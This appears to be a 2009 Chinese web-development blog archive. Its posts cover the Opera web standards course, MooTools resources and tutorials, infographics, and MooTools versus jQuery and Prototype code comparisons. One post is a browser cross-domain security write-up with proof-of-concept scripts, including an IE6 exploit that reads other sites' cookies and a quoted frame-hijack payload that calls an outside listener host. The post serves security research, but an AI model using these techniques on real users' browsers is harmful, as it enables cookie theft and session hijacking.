CSSrainbow.cn » 读书

Opera的Web标准课程（推荐）

Rainbow — Mon, 31 Aug 2009 01:35:35 +0000

引言

对于想学习或者想从事Web前端设计与开发的人员和学生，在这里我强烈推荐《Opera Web标准课程》

Opera公司的开发人员关系部经理Chris Mills要向大家介绍他和其他很多人花费数月时间开发的一个课程——Web标准课程，

该课程旨在向大家提供Web设计和开发的坚实基础，无论读者是谁，此教程完全免费、可访问，并且不需要预备知识

以下文章都来自国际上比较知名的Web前端开发大师的手笔，文章质量很高，非常完美的教程。

在 HTML 中标记文本内容，作者Mark Norman Francis
HTML 列表，作者Ben Buchanan
HTML中的图像，作者Christian Heilmann
HTML链接——让我们建一张网吧！作者Christian Heilmann
HTML表格，作者Jen Hanen
HTML表单基础知识，作者Jen Hanen
罕为人知的语义元素，作者Mark Norman Francis
通用容器－－div 和span元素，作者Mark Norman Francis
使用导航菜单创建多页面，作者Christian Heilmann
检验你的HTML，作者Mark Norman Francis

可访问性

可访问性基础知识，作者Tom Hughes-Croucher
可访问性测试，作者Benjamin Hawkes-Lewis

CSS样式

CSS 基础知识，作者Christian Heilmann
继承和层叠，作者Tommy Olsson
使用CSS设置文本样式，作者Ben Henick
CSS布局模型——boxes、borderes、margins、padding，作者Ben Henick
CSS背景图片，作者Nicole Sullivan
样式列表和链接，作者Ben Buchanan
样式表格，作者Ben Buchanan
样式表单，作者Ben Henick
浮动及清除，作者Tommy Olsson
CSS的静态和相对定位，作者Tommy Olsson
CSS 的绝对和固定定位，作者Tommy Olsson

高级 CSS 研究

页首、页脚、列和模板，作者 Ben Henick

JavaScript 核心技巧

程序设计——真正的基础！作者 Christian Heilmann
你可以用 JavaScript 做什么？，作者 Christian Heilmann
初识 JavaScript，作者 Christian Heilmann
JavaScript 最佳实践，作者 Christian Heilmann (未完成)
非干扰性 JavaScript 的原则，作者 by PPK
JavaScript 函数，作者 Mike West
JavaScript 中的对象，作者 Mike West
DOM 之旅，作者 Mike West
HTML 的创建和修改，作者 Stuart Langridge
动态样式——用 JavaScript 操作 CSS，作者 Greg Schechter
用 JavaScript 处理事件，作者 Robert Nyman
JavaScript 动画，作者 Stuart Langridge
平稳退化对渐进增强，作者 Christian Heilmann

补充文章

将你的内容发布到网上，作者Craig Grannell.
有关文档中元素的更多知识，作者Chris Heilmann.
补充材料：用于排版的通用HTML实体，作者Ben Henick.
Opera公司Web标准课程词汇表，由多人撰写。本目录尚不完整，将随时添加。

更多精彩文章在 http://kb.operachina.com/?q=wsc

支持一下Opera浏览器

在这里我推荐大家使用Opera浏览器，它和火狐一样都推动了Web标准的发展。

Opera 桌面浏览器和 Opera Mini 手机浏览器的官方下载地是：http://www.operachina.com/

关于 Opera

Opera Software ASA 是台式机、各种设备和移动网络浏览器市场的商业领袖。Opera 浏览器因为它的快速、小巧和比其他浏览器更佳的标准兼容性获得了国际上的最终用户和业界媒体的承认，并在网上受到很多人的推崇。

Opera Software 开发的 Opera 浏览器是一款适用于各种平台、操作系统和嵌入式网络产品的高品质、多平台产品。我们通过最先进的技术、创新、领导能力和合作能力，力争为您提供出众的网络体验。

关于 Opera 中国

Opera 中国于2006年4月正式成立，致力于建立中国顶尖的浏览器研发团队，向中国用户提供最好的互联网体验，支持opera爱好者的开发和社区活动，为在中国倡导开放的网络标准做出自己贡献。

MooTools国外的教程和资源大集合

Rainbow — Thu, 13 Aug 2009 07:15:48 +0000

MooTools教程和资源大集合

MooTools Tutorials and Resources Round-Up

MooTools is a JavaScript framework that focus on being flexible, modular and compact. While still not on par in number of resources with other JavaScript frameworks such as jQuery, the MooTools community has generated a large number of articles, tutorials and third party plugins that can be considered and mature and sophisticated enough for most needs.

原文地址：http://www.smashingmagazine.com

作者：Diogo Terror

A word about MooTools

One of the core principles of MooTools is to provide a better application programming interface for JavaScript developers, making the language better by extending its native elements and providing more concise object oriented utilities.

As a consequence of that, some people may be inclined to think that MooTools treats browser scripting as a less important feature. Indeed, MooTools is not a DOM scripting toolkit, but the whole purpose of making JavaScript better is that developers have a more solid base over which to create readable, robust, reusable browser scripting libraries.

Articles/Tutorials

Starting points

The official documentation
A really good and complete documentation. It has a very intuitive format that makes it both an excellent reference and tutorial.

jQuery vs MooTools
A mature discussion on the differences between jQuery and MooTools.

MooTools for the non-programmer
A three part series of tutorials about MooTools targeted at non-programmers:

The MooWalkthrough
A wiki-based walk through MooTools intended to introducing the library.

The MooTorial
A collection of tutorials to guide MooTools’ newcomers.

MooTools classes
A basic view on MooTools’ use of classes and how it compares to other approaches.

Natives and Elements
Explains what are native types in JavaScript and how MooTools extends and provide means for anyone to extend their functionality. It also explains the Element class.

Select and create elements
Tutorial on how to select specific elements as well as how to create and insert new elements on the page.

30 days of MooTools
A series of tutorials about key features in MooTools. (It is still incomplete – it currently has 23 tutorials)

Intermediate

Facebook modal box
It reproduces Facebook’s modal box in MooTools. A Very simple solution to get a Facebook-style modal box without the need of any external plugin.

Using custom missing image graphics
A very elegant and extremely simple solution to handling missing image graphics with a custom fallback image.

Sending Email notifications for broken images
A logic follow-up to the previous tutorial. It shows how to use AJax and PHP to send email notification on the occurrence of broken images.

Skype-style buttons
How to create a Skype-style button.

MooTools Flashlight effect
An eccentric, however interesting effect.

Snook-style navigation
A MooTools revisit of a tutorial by Jonathan Snook.

Explode effect on Ajax page loads
How to create an effect that makes the current content ‘explode’ off-screen while another content is fetched and loaded via ajax.

Font-Size scroller with Cookie save
Shows how to create a scroller that sets the font-size and store this information in a cookie.

Track Ajax link clicks using Google Analytics
A very insightful solution to tracking ajax-based navigation in Google Analytics.

Periodicar Ajax updates using MooTools
Shows how to implement a very simple function that periodically makes a ajax request on the background.

helps you determine if caps lock is on
A nice and simple technique for easily determining if caps lock in on. Might help improve usability, specially in login scenarios.

Simulate Flash horizontal navigation
Tutorial on how to create a horizontal navigation web site.

Product Highlighter
Slick rollover mechanism that works well as a product highlighter.

Auto caption images
How to automatically extract alt and title content and add it as captions to images on the page.

toElement method
Explains and shows an interesting use case for the toElement method in MooTools.

outerClick event
An implementation of a custom event for when a user clicks outside of a given element.

Saving a sortalbe nested list
A tutorial with a full implementation of a sortable nested list, from MooTools to MySQL.

CSS sprites with MooTools
A MooTools version of an article published on A List Apart about CSS sprites using jQuery.

Swiff
Explains what is the Swiff class and how it can be used to make flash elements communicate with JavaScript.

Fixing sIFR printing with CSS and MooTools
The use of sIRF can help you achieve the typography you want on the screen, but there may be problems when the user tries to print the page. This article shows how to work around that.

Advanced Topics

The Dollar Safe Mode
An article explaining a good practice for plugin developers that want to make their libraries compliant with “MooTools 1.2.3 Dollar Safety”, which means that it respects the global name $ in edge cases where people need to use more than one JavaScript library at the same time.

Custom Events
A nice example on how to define and explore custom events (such as alt+clicking) in MooTools.

Element Storage
An overview on the Element Storage functionality. How it works and how it could be used to make code easier to write and better organised.

Chaining with MooTools
A guide to the MooTools’s Chain class and how it can be used in custom classes.

Set style per media
Using JavaScript for dynamic styling may defeat the purpose of having a style for each media, this tutorial shows one way to be media-specific while dynamically changing CSS properties.

Creating a custom “:selected” pseudo-class in MooTools
How to create your own pseudo-class selector in MooTools.

The Mouse Ghost
An interesting experiment on saving the cursor coordinates and then reproducing its movements.

5 Advanced techniques for MooTools development
Things that you don’t get by reading documentation.

Don’t repeat your Moo
A very insightful article on how to achieve reusability in your JavaScript code with MooTools, adhering to the DRY (Don’t Repeat Yourself) principle.

Private methods in MooTools
Shows how to implement private methods in JavaScript with MooTools.

The Singleton class mutator
A tutorial that shows how to write a class mutator that implements the singleton design pattern. A class mutator is a macro-like method/idiom to be used inside a class definition

Binds class mutator
A mutator that binds a method to the instance of a class so that it can be accessed thorough the ‘this’ keyword even in the class definition.

Plugins

SmoothScroll
Scroll smoothly through anchors within a single page.

Kroppr
A full-fledged image cropping/resizing/rotating plugin.

mooSocialize
A widget bar that manages a wide variety of social bookmarking and social network content sharing systems.

MooTools Event Calendar
A MooTools Calendar class that supports week/day/month view and the addition of events.

Pamoorama
It creates a container div that allows users to scroll through a containing image. Its intended use case if to horizontally scroll through a panorama image.

Slider
A Slider plugin that supports both vertical and horizontal bars that can be freely dragged or snap to predefined steps.

SortableTable
Sort and filter tables.

MooWheel
A data visualisation plugin that explores the possibilities of the canvas element.

Moosture
A Mouse gesture framework that allow you to trigger an event based on a predefined mouse gesture.

inlineEdit
An inline editor plugin that makes all elements with a specified class name editable and adds a special onSave hook method to save the changes.

Navigation

Image Menu
A horizontal menu that reveals more of the image as you rollover it.

Sexy sliding JavaScript side bar menu
Generates a sliding sidebar menu.

MooFlow
A full-fledged image slider that resembles cover flow.

Simple 3D Carousel
A 3d carousel.

MooHover
Allows you to include fancy transitions in CSS based hover menus.

Layout and Style

mooRainbow
A color picker utility.

Rounded Corners
Creates round corners on divs on the fly.

Reflection
Generate image reflections on the fly with a wide range of customisation options.

MooColumns
A class that allows you to dynamically organise content into multiple columns.

MooScroll
A MooTools class that allows the customisation of how the scrollbar looks on scrollable divs.

Tooltips

Window Growl
Tooltips in the same style as the Mac OS X’s Growl system.

Tips
A tooltip showdown.

MooTooltips
Toolstips that can have html or plain text content loaded with Ajax or inline.

Form Usability

FormCheck
This plugin allows you to define a groups of validation rules to be applied to forms.

Calendar
Features simple to create date pickers.

Validate
A simple form validation plugin.

JavaScript Time Picker
A time picker plugin. It uses the same idea as the date picker pattern, but applied to time picking.

MultipleSelect
Completely customised multiple select elements.

HTML Form Tips
Inspired by Twitter, it features a “remaining characters” count that’s automatically updates as the user types.

Select Box Factory v1.0
A class that makes select elements support multiple selection and selection drill down according to a variety of options.

Slideshow

Slideshow 2
Slideshow plugin, resembles the slideshow in iPhoto and Photos in Mac OS X and iPhone respectively.

SmoothGallery 2.0
A simple and elegant slideshow plugin.

Ajax

Fancy upload
A plugin that integrates Ajax and the Swiff functionality in MooTools to create an upload manager.

MooTabs – Tiny tab class for MooTools
A small plugin that helps in the creation of tabbed navigation through elements that can be retrieved via ajax.

Ajax login form
A very simple ajax-based login form.

Page Loader
Provides classes to work with loading content via ajax and displaying results in the current page. It also provides a history class that manages the history of the loading area.

MooTools Dotter
A simple and effective Ajax-loading indicator that relies solely on JavaScript and CSS instead of using images or animated GIFs.

Content Overlay

Lightbox
A port of the Lightbox plugin that handles a collection of images in a overlay.

MediaBoxAdvanced
Content overlaying that works with several different media types.

ReMooz
Image overlaying plugin. Simple and elegant.

Multibox
An overlaying plugin that supports images, flash, video, mp3s and html.

SlideItMoo
It packs a banner or image slider with an overlay image display effect that resembles Lightbox.

mooSlide 3.2
Shows an overlay window at the bottom or at the top of the page with a variety of options.

Plugin Collections

moo.rd
A collection of plugins that provides special effects, table management and more.

Clientcide Plugins
A large collections of plugins from the Clientcide blog.

Meteora
A collection of widgets written on top of MooTools, from datagrids, to calendars to JsonRPC.

Rich user interfaces

Mocha UI
A rich user interface library, it makes web applications look and behave like desktop applications.

JxLib
A library for rich client user interfaces.

File Manager
A complete implementation of a file system explorer that let’s you navigate through the files, rename and preview them.

Text editor extensions

Plugins for Coda

MooTools mode for Coda
MooDocs Coda plugin A plugin for Coda that generates MooTools docs for you classes.

Plugins for TextMate

MooTools bundle for TextMate (You must have Subversion)
MooDocs for TextMate A port of the MooDocs for Coda.

About the author

Diogo Terror is a web developer that loves Ruby, Typography and Macs, specially when they come altogether (and they often do). He also likes to post random thoughts on Twitter whenever they occur (and they often do).

数据之美（三）

Rainbow — Wed, 12 Aug 2009 09:17:19 +0000

片图抵千言，任何数据报告都不如一幅图来得形象，6月中旬，我们曾译介了 Webdesigner Depot 的一篇文章，《数据之美》（数据之美（上）数据之美（下））。本文是 Webdesigner Depot 推出的另一篇同题材文章，介绍了25幅令人赞叹的计算机数据图形（Infographics），再次领略数据之美。

1. Web 趋势图

2. 字体周期表

3. 全球 Internet 流量图

4. 经验的归结

5. Flickr 用户模型

6. 浏览器之战

7. 垃圾信息阅读报告

8. 网络文章的生命周期

9. 在线沟通地图

10. 用 1001 个 Web2.0 标志组成的世界地图

11. 全球海底光缆地图

12. SEO毒药

13. Google PageRank 之视觉解释

14. 用社会媒体开一间公司

15. SEO 清单

16. 博客文章的生命周期

17. 软件战势图

18. 美国网民结构图

19. 看看1600万色的模样

20. 可视化表示方式周期表

21. Internet 周期表

22. 国家编码地图

23. 苹果产品分布图

24. 美国 50年来消费电子市场与价格分布

25. Yahoo 所有 API 与服务分布图

26. 数字存储媒介的重量与尺寸

27. 同国家不同时期对色彩的喜好

28. Facebook vs. Twitter

本文国际来源：http://www.webdesignerdepot.com/2009/06/25-useful-infographics-for-web-designers/
中文翻译来源：COMSHARP CMS 官方网站

浏览器跨域安全 (收藏)

Rainbow — Sat, 08 Aug 2009 08:20:22 +0000

浏览器跨域安全

Manuel Caballero大牛在这次的BLUEHAT大会上讲了一个叫A Resident in My Domain
的议题，字面上的意思就是驻留在自己的域，随后开始有牛人在自己BLOG上写了一些相关的
内容，这段时间一直和HI群里的朋友在讨论这个问题，大家都简称为鬼页，这个鬼页非常神奇，
可以跟随你浏览的每个页面。经过鬼页的启发，我也对浏览器的跨域安全问题进行了测试。

1.来自伪协议的呼唤

JAVASCRIPT里大家都频繁使用window对象，window对象代表的就是浏览器的窗口，我们
就来测试下window对象的open方法，尝试让新开的窗口执行伪协议。

在本机搭建一个WEB服务器，开始做下实验：

用各个浏览器浏览 http://127.0.0.1/test.htm ，下面是test.htm的脚本内容：

<script>  
    x=window.open('about:blank');
    x.location="javascript:alert(document.domain)";
script>

结果是：

    IE6：执行了伪协议，认为弹出窗口的域是127.0.0.1。

IE7：执行了伪协议，认为弹出窗口的域是127.0.0.1。

Firefox：执行了伪协议,认为还没有域为NULL。

Firefox这里对于这个接口可能也有个BUG，对于IP地址的弹窗Firefox没有辨认出域，但
是在实际绑定域名的情况下还是辨认出了域。

为了下面的部分方便理解，我把这里弹窗的关系给简称下，原来的窗口叫父页，弹出窗口
叫子页，实验过后我们证明了:

父页和子页都在同一个域里，父页可以重定向子页的URL地址，甚至执行伪协议。

2.父页和子页的关系

如果父页让子页访问其他域后，父页和子页是否就脱离关系了呢？

继续测试，用各个浏览器浏览 http://127.0.0.1/test2.htm ，下面是test2.htm的脚本
内容：

<script>  
    x=window.open('about:blank');
    x.location="http://www.163.com"//访问163网站
    setTimeout(function(){
        x.location="http://127.0.0.1";
    },5000)  //5秒后重定向到127.0.0.1
script>

这次IE6、IE7、Firefox都达成了一致，实验的结果是子页访问了163网站，5秒然后又跳
回了127.0.0.1。

所以就算是子页在访问了其他域后，还是会受父页的控制。

3.域与域之间的牵绊

如果父页让子页访问某个域后，再执行伪协议会有什么效果？

用各个浏览器浏览 http://127.0.0.1/test3.htm，下面是test3.htm的脚本内容：

<script>  
    x=window.open(’about:blank’);
    x.location="http://www.163.com"
    setTimeout(function(){
        x.location="javascript:alert(document.cookie)";
    },5000)
script>

结果是：

    IE6：没有反应。

IE7：报错，拒绝访问。

Firefox：报错，alert没有定义。

这些信息明显的说明，如果子页和父页不在同一个域里，浏览器是不允许父页控制子页
执行伪协议脚本的。

为了进一步验证，我们让子页打开同一个域里的页面测试：

用各个浏览器浏览 http://127.0.0.1/test4.htm，下面是test4.htm的脚本内容：

<script>
    document.cookie='xss:true'  //给本域设置一个COOKIE为xss:true
    x=window.open('about:blank');
    x.location="http://127.0.0.1"
    setTimeout(function(){
        x.location="javascript:alert(document.cookie)";
    },5000)
script>

结果IE6、IE7、Firefox都顺利的弹出了COOKIE值，说明如果子页和父页在同一个域里，
浏览器是允许父页控制子页执行伪协议脚本的。

4.安全上的差异

父页和子页这种微妙的关系，到这里就开始引发安全问题了，PDP等大牛在分析鬼页的时
候给出了EXP:

javascript:x=open(’http://hackademix.net/’);setInterval(function(){try{x.frames[0].location={toString:function(){return ‘http://www.sirdarckcat.net/caballero-listener.html’;}}}catch(e){}},5000);void(1);

EXP按上面三部分的概念解释是：

父页是A域，父页指定子页访问B域内一个带框架的页面，父页就能够控制B域页面内框架
的URL地址，这个就是典型的跨域操作了。

鬼页能够跨域操作框架的关键是window.frames[0]方法没有受到域的限制，第二个是让
location指定的地址看起来像个对象而不是参数。

我们按照鬼页的思路，继续在第3部分的基础上测试下去,将location指定的地址使用
new String()对象处理。

用各个浏览器浏览 http://127.0.0.1/test5.htm，下面是test5.htm的脚本内容：

<script>  
    x=window.open('about:blank');
    x.location="http://www.163.com"；
    setTimeout(function(){
        x.location=new String("javascript:alert(document.cookie)")
    },5000)
script>

    IE6：弹出COOKIE。

IE7：报错，拒绝访问。

Firefox：报错，alert没有定义。

结果是IE6奇迹般的弹出了COOKIE，我们做到了跨域执行脚本。

5.灾难性的后果

到这里我们发现了一个IE6的0DAY，一定程度上这个跨域安全问题是灾难性的，如下面的
EXP：

  <a href="">IE6 Cross Domain Scriptinga>
  <script>
    function win(){
        x=window.open('http://www.phpwind.net');
        setTimeout(function(){
            x.location=new String("javascript:alert(document.cookie)")
        },3000)
    }
    window.onload=function(){
        for (i=0;i<document.links.length;i++) {
            document.links[i].href="javascript:win()"
        }
    }
  script>

点击链接后，马上得到了PHPWIND论坛的COOKIE，这就意味着黑客通过类似的攻击可以得
到你访问过的任意网站的COOKIE，然后劫持你的会话。

这样的漏洞相当于一个没有域限制的XSS漏洞，几乎是无法防御的，网站只能进一步的加
强客户端的会话安全，如使用SSL加密连接、设置安全COOKIE加上HTTPONLY参数、给敏感的
请求操作加上水印等。

6.总结

这个跨域安全问题的本质是浏览器在处理window对象的操作有所疏漏，没有考虑清楚不
同域有继承关系的window对象操作后的变化，只是对window对象的一些方法的参数做了类似
数据类型的限制，导致最后绕过限制跨域执行了脚本。

从这个漏洞我们也可以看出IE7的一些新的安全特性，通过继承关系的window对象操作
来跨域执行脚本伪协议最后是判断了域的，IE7已经开始防范类似的攻击。

但是这里并没有在本质上解决跨域安全问题，IE7只防范了跨域执行脚本，对于其他跨域
的操作仍然是放行的，所以鬼页在IE7下可以跨域操作框架URL，而Firefox却没有存在相同的
问题，说明不同浏览器在安全的考虑上也是存在很多差异的。

针对IE我又测试了其他对象方法，发现很多都被限制住了，但不排除还有同样的问题存
在。按照类似的思路，大家可以继续尝试挖掘浏览器的一些跨域漏洞。

最后感谢HI群里共同讨论的朋友。

7.参考

[1] Browser’s Ghost Busters: http://sirdarckcat.blogspot.com/2008/05/browsers-ghost-busters.html
[2] Ghost Busters: http://www.gnucitizen.org/blog/ghost-busters/

选择mootools的5个原因(转)

Rainbow — Fri, 07 Aug 2009 02:32:46 +0000

选择mootools的5个原因(转)

Portotype虽然是强大的，和script.aculo.us结合可以做出很多完美的效果，可是它里面有太多我不想用的代码，或许这是我后面选择 mootools的主要原因，我只是想选择性的打包。其实当时我也很想用一下jquery，仔细对比了一下，我还是觉得mootools更加的适合于我。有比较，才有机会去选择，我想从下面5个方面讨论一下。

可读性VS简洁

在网上，很多人把mootools比作java，把jquery比作perl，jquery的口号是“write less,do more”，或许就是这个目标造就了它的诡异。我觉得和mootools代码比起来，我看jquery的代码更加的吃力，有时候一行代码需要看半个小时才可以搞懂它的意思，这在mootools中是不存在的。如果你本身是一个崇尚代码简洁的人，或许jquery是你的很好的选择。虽然jquery的性能也稍高一点，不过，我觉得可读性更重要，所以我觉得mootools更加适合我。

重复的制造轮子VS拿来主义

在所有的js框架中，我始终觉得Ext框架是“拿来主义者”们最好的选择。和ext比起来，jquery UI 其实做的不怎么样，但是jquery有很多的插件。几乎你看到的网页效果，在jquery的插件库中都可以找到，为了避免重复的制造轮子，或许 jquery是一个不错的选择。而我觉得重复的制造轮子会让我更加的熟悉制作的工艺，从中了解每种框架不同之处和各自的优势，所以，我没事就修改一下 jquery框架中的插件，让他们用mootools的方式去运行。我之所以在大学阶段对面向对象理解不够深刻，主要是各种IDE工具让我成了IT民工。现在，我不能再做肤浅的拿来主义者，好多的代码因为性能问题，必须手写。

团队协作的成果VS天才的思维

jquery是程序天才JOHN RESIG的作品，mootools是一个团队的作品，有时候天才的思维很难读懂，我并不是想为此而逃避不去学习，主要是我希望用一个灵感汇聚的js框架。值得肯定的是：jquery的很多代码都写的比mootools优雅一些，简洁一点，注意这里是简洁而不是简单。团队中，思想的碰撞要多一些，产品的尝起来也就更清淡一些。我希望循序渐进的去理解js，所以我对自己不能用猛药，mootools像一碗粥，而不是参汤。

项目VS个人学习

其实在我们产品部的项目中用的是ExtJs，这个框架帮你做了所有的事情，你基本只管调用就可以了。后来看一下，或许使用jquery UI会好一点，主要是好多代码自己都可以去尝试写一下。如果你在做项目，强烈建议使用jquery，因为很多他的插件可以帮你按照项目的工期完成任务，当然这是第一步，后面或许因为性能问题，你需要修改很多地方的代码。如果是产品部慢慢的在一个框架上有积累的话，或许不会有这样的问题存在，我是建议一个产品部能够持续的学习一个框架，无论是哪一个，精通的过程是痛苦的，可是如果不精通，整个产品都是痛苦的。

完成任务VS希望成为高手

前面已经说过：如果想更快的完成任务，你需要选择jquery，如果想痛苦的积累，选择mootools或许会更好。才开始使用mootools1.2的时候，我几乎崩溃，因为我写的1.1的代码都不能用了，后来没事看了一下1.2的源代码，无论是在功能上还是在性能上，这样的改动是有必要的。同时，也赞扬一下mootools团队的勇气，和老版本的不兼容真的会让很多人抓狂。一点点的积累，一点点的领悟JavaScript，mootools是一个不错的选择。

以上内容其实很火星，因为去年我就选择mootools了，最近突然看到一个帖子来讨论这两个框架的时候，我有点遗憾没能在当时记录一下自己的想法，赶快补写一篇。不知道大家的想法如何？

MooTools vs Prototype 核心代码分析-为什么选择MooTools

Rainbow — Fri, 07 Aug 2009 02:16:37 +0000

MooTools vs Prototype 核心代码分析-为什么选择MooTools

MooTools是一个简洁，模块化，面向对象的JavaScript框架。它能够帮助你更快，更简单地编写可扩展和兼容性强的 JavaScript代码。

Mootools跟prototypejs相类似，语法几乎一样。

但它提供的功能要比prototypejs多，而且更强大。比如增加了动画特效、拖放操作等等。

建议大家可以用它来代替prototypejs。

我为什么选择mootools,抛弃了prototype. (mootools 与 prototype 核心代码分析)

原文作者：小胖儿的大城

原文链接地址：http://www.javaeye.com/topic/122425

前言

最近喜欢上了mootools(相见恨晚啊),在公开表示了对他的偏爱.
很多朋友都问我为什么要移情别恋,其实理由还是蛮多的.

今天在这里打算列举出一部分.让更多的朋友能够了解一下mootools,也希望有更多的朋友喜欢上他.

文章的标题注定了我会更多的讲述 mootools比prototype好的地方,
希望大家不要被我的误导,以为mootools处处都比prototype好.
mootools还是有一些不足的.

本次对比针对 mootools 1.11版和 prototype 1.51版,
只比较了一些核心代码,其他的工具方法,辅助函数不再本文讨论之内.

开始前,再次重申一遍:我曾经很爱prototype,而且我将永远都会用"伟大"来形容它.

好下面对比正式开始 (
mootools以下简称moo.
本文所引用的代码, 只是起到说明作用,不保证他们都可以被正确的执行.
同时为了使本文简洁一些,引入的一些 moo和prototype的代码也只是片段或是伪代码.
)

一. 类机制

js里的类实际上就是function.
如果不使用任何框架和组件,那么想创建一个自己类也不是难事,方法如下:

var PersonClass=function(name,gender){  	
    this.name=name;  	
    this.gender=gender;  	
    alert("My name is "+this.name); 
}    
var myGirlFriend=new PersonClass('Vickey','female');

执行后, 会创建一个PersonClass类的实例myGirlFriend, 并执行function内的语句.
那些语句可以理解为是类的构造函数.

Prototype
现在来看看在prototype的帮助下如何去定义这个类:

 var PersonClass = Class.create();   
 PersonClass.prototype.initialize=function(name,gender){  	
     this.name=name;  	
     this.gender=gender;  	
     alert("My name is "+this.name);  
 };   
 var myGirlFriend=new PersonClass('Vickey','female');    //如果想给类增加属性和方法时使用   
 PersonClass.prototype.XXX=...;  //或者是使用 prototype提供的   
 Object.extend(PersonClass.prototype, {...} );

(关于Object.extend稍后在对比继承机制时再细说.)

再来看看prototype是实现类机制的核心代码.

var Class = {    
    create: function() {     
         return function() {      
            this.initialize.apply(this, arguments);   
         }   
    } 
}

通过看代码不难看出,prototype的Class实际上只是帮助我们抽象出了"类的构造函数".
而当我们在prototype的这种机制下进行类的定义时,实际上带来的好处是非常有限的.
prototype的Class只是从结构对我们的类进行了重新规划. 而这样的规划意义并不是很大.
而且prototype带有强制性,即, initialize 是必须要定义的.
实际上这里存在一个缺陷, Class应该提供一个默认的initialize(一个空函数就好),
或者是在create返回的function里进行必要的判断.
(prototype1.6的类机制变化比较大,但是还没仔细研究过,所以不敢轻易评论).

Mootools

现在来看看在 moo的帮助下如何去定义一个类:

var PersonClass = new Class( {  	
    initialize: function(name,gender){  		
        this.name=name;  		
        this.gender=gender;  		
        alert("My name is "+this.name);  	
    }  
}); 
var myGirlFriend=new PersonClass('Vickey','female');

其中类的 initialize 不是必须的.
如果你想给 PersonClass 增加属性和方法,你可以在new Class的参数里直接以 json方式定义.
也可以使用如下方式

PersonClass.implement ({   	
    age:0 ,  	
    getName : function() {
       return this.name;
    }  
}, {...}, ..... 
);

implement支持多个{}.关于implement稍后在对比继承机制时再细说.

在来看一下moo类机制的一些核心代码.

var Class = function(properties){  
    var klass = function(){  		
         return (arguments[0] !== null &amp;&amp; this.initialize &amp;&amp; $type(this.initialize) == 
                        'function') ? this.initialize.apply(this, arguments) : this;  	
    };  	
    $extend(klass, this);  	
    klass.prototype = properties;  	
    klass.constructor = Class;  	return klass;  
 
};   
Class.prototype = {  	
    extend: function(properties){  		
        var proto = new this(null);  		
        for (var property in properties){  		
            var pp = proto[property];  		
           proto[property] = Class.Merge(pp, properties[property]);  	
        }  	
        return new Class(proto);  
    },  	
    implement: function(){  		
        for (var i = 0, l = arguments.length; i &lt; l; i++)
            $extend(this.prototype, arguments[i]);  
    }                      
};

代码的具体原理就不细说了.大家在moo的Class里看到了 extend 和implement,那下面就来具体说一说moo和prototype的继承机制吧.

二. 继承机制

Prototype
prototype提供的继承很简单.

Object.extend = function(destination, source) {   
  for (var property in source) {    
     destination[property] = source[property];   
  }   
  return destination; 
}

他只是把source里的属性赋给destination,同时会覆盖destination里的同名属性.
他可以用于对象,也可以用于类,当要实现类的继承时,destination要使用 MySubClass.prototype.

prototype的继承机制可以说是非常薄弱的.

Mootools

moo提供了三种继承机制:

首先他也提供了简单的继承机制:
Objcet.extend (注意,不是上面代码中 Class 里的 extend)
他的代码如下

var $extend = function(){  	
    var args = arguments;  	
    if (!args[1]) args = [this, args[0]];  
 
    for (var property in args[1]) 
      args[0][property] = args[1][property]; 
 
    return args[0];  
};  
Object.extend = $extend;

他的使用方法和 prototype 完全一样.

但是大家可能注意到了这句 if (!args[1]) args = [this, args[0]]; 这句的纯在使得下面的代码写法成为可能.

 var myObjcet={....};  
 myObjcet.extend=$extend; 
 myObjcet.extend(objA); 
 myObjcet.extend(objB);  
 myObjcet.extend(objC);

简单的一句话,让extend的用法增加了更多的灵活性,不得不赞一个了!!!

下面说说重点, moo的类里的extend和 implement
先说 implement,之前已经说了一些了

var MyClassA = new Class(); 
MyClassA.implement( { 
   methodA : function() {... } 
});

执行后 MyClassA 将拥有 methodA.

implement用来向类中添加属性和方法(会覆盖同名属性和方法),相当于
Object.extend (MyClassA.prototype , {… } )
但是Object.extend 不支持多个source,implement可以,示例如下:
MyClassA.implement( objA , objB, objC … );

下面来看看moo的Class.extend.
moo的Class.extend才是我们期待的真正的"类继承",看一下官方的示例

var Animal = new Class({  			
    initialize: function(age){  				
       this.age = age;  			
    }  		
});  		
var Cat = Animal.extend({  			
    initialize: function(name, age){  				
        this.parent(age); //will call the previous initialize;  			
        this.name = name;  			
    }  		
});

看那个parent() !!!!
通过moo的Class.extend实现的继承提供一个关键的方法 parent().
使用他你可以调用父类中的同名方法,好像java里的super一样.
这个示例已经可以说明一切了.

关于prototype和moo的类机制和继承机制的对比就到这里,孰优孰劣大家心里应该有数了吧.

三.抽象对象

再来看一看"抽象对象". 这个虽然对于开发人员来说用处不大,但还是对比一下吧,小细节也能看出作者的用心.

Prototype
prototype的抽象对象很简单
var Abstract = new Object();
具体的意义不大.

Mootools
moo的的抽象对象相对更完善一些.

var Abstract = function(obj){  
    obj = obj || {};  	
    obj.extend = $extend;  
    return obj;  
};

支持自定义抽象(以参数形式传入),同时会为抽象对象自动添加extend方法.

四. 关于 $()

Prototype
prototype的$大家都比较熟悉了, 工作原理就是
通过id取得一个页面元素(或者直接传入一个页面元素对象),然后给他增加一些prototype提供的方法和属性,来方便开发人员对页面元素的使用.

Mootools
moo在这方面做的差不多.
不同的主要有两点, 首先moo为页面元素增加的方法和属性与prototype的不同(这个稍后会介绍),另外一个不同是moo的$兼具了对象管理的一个功能.
他引入了一个 Garbage 类, 来对页面元素进行一个统一的管理和回收(主要是回收).
可以更好的减少js(或浏览器)造成的内存泄露等问题.

具体的大家可以看一下代码,在这里就不详细说明了.

五.关于 Array Enumerable Hash

prototype 和 moo 都提供了集合迭代方法 (each)
这个网上已经有一篇不错的对比文章,我就不在这里重复了
http://blog.fackweb.cn/?p=50.

moo的 forEach/each方法: function(fn, bind){..}
那个bind 结合代码和上面那篇文章, 大家应该可以很好的看出来prototype和moo的不同与优劣.

prototype里面有 Enumerable 的概念,moo没有.
但是我个人一直觉得 Enumerable 比较鸡肋.
在实际开发中,很少使用.
Enumerable的功能完全可以用普通json对象或者是 Hash来实现.
moo的作者也许同样这么认为.所以不再设置一个鸡肋的 Enumerable类.
但是请大家放心, Enumerable 能做的事情, 在moo里也能完成.

可以理解为

moo的 Array + Hash +{} 完全可以接替 prototype的 Array + Enumerable + Hash +{}
当然对于一些工具方法两者提供的都不太一样,不好比较,但是那些方法都是附属品.
我们完全可以自己来实现,所以不在这次的比较范畴之内.

六. 关于 Element

两者的 Element 从作用上看类似.都是一种对页面元素的包装,为页面元素添加了一些诸如 addEvent remove style之类的方法.
但是大家通过看代码可以发现 moo的实现明显更简洁更OO.

同时还有一个关键的不同,prototype又提取出了一个Form对象,里面包含了很多表单相关的方法.
